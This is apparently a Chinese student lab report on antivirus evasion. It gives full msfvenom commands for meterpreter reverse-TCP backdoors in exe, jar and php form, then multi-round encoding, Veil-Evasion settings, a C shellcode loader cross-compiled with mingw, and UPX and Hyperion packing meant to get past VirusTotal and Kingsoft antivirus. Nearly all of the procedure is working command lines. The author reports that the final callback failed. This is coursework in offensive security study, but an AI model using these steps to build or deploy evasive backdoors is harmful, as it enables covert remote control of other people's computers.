一、实验要求
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 1.115 LPORT=4317 -f
exe > met.exe
将生成的程序上传到virus total试试结果
使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b
‘\x00’ LHOST=192.168.1.115 LPORT=4317 -f exe > met-encoded10.exe
再上传到virus total
试试免杀操作是否有效
2、使用msfvenom生成jar
使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x>
20164317_backdoor_java.jar
3、使用msfvenom生成php
使用php后门程序生成命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x> 20164317_backdoor.php
4、使用veil-evasion
设置veil
use evasion
use 7
set LHOST 192.168.1.115
set LPORT 4317
然后输入后门程序的文件名
于是把它挂上virus total
看看表现如何
利用shellcode编程
- 先执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4317 -f c
得到shellcode
任务二:Linux平台交叉编译Windows应用
1、使用交叉编译
新建.c文件,将shellcode和c代码组合到一起
vim 4317met.c unsigned char buf[] = 将shellcode替换到此处 int main() { int (*func)() = (int(*)())buf; func(); }
执行
i686-w64-mingw32-g++ 4317met.c -o 4317met.exe
编译成exe文件
然后把它挂上virus total测一下,没查出来
加压缩壳
1 upx 4323.exe -o cal_4317.exe
使用加密壳(Hyperion)
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令
wine hyperion.exe -v 4317_upxed.exe 4317_upxed_hyperion.exe
进行加壳
实现免杀
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验环境:被控机是win7虚拟机,装有金山毒霸
(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,回连失败)
- 本机打开msf控制台,开始监听
- 受控机运行后门程序
- 版本号
三、基础问题回答
1、杀软是如何检测出恶意代码的?
- 特征码扫描
- 启发式扫描
- 虚拟机技术
- 主动防御技术
- 自免疫技术
2、免杀是做什么的?
使恶意代码逃过杀毒软件的查杀
3、免杀的基本方法有哪些?
- msfvenom直接生成
- msfvenom编码一次
- msfvenom多次编码
- veil-evasion
- 半手工生成shellcode
- 加壳(压缩壳,加密壳)
4、开启杀软能绝对防止电脑中恶意代码吗?
当然不行,即便是开始直接生成的后门程序测试中也有杀软找不出来呢。
四、实验中遇到的问题
1、安装veil-evasion过程中出现很多弹窗提示你安装,但是里面的字却又是方框,编码错误显示不出来。
解决:在安装之除就选择s静默安装,一切由系统自己设置安排。
2、虚拟机ping不通别的实体机
解决:把虚拟机网卡设置改为桥接模式就可以了五、实验总结与体会
此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。本次实验难度比较大,尝试了很多方法也没法实现,杀毒软件的功能还是很强的,很多次尝试都没有成功,推测还是shellcode出问题了。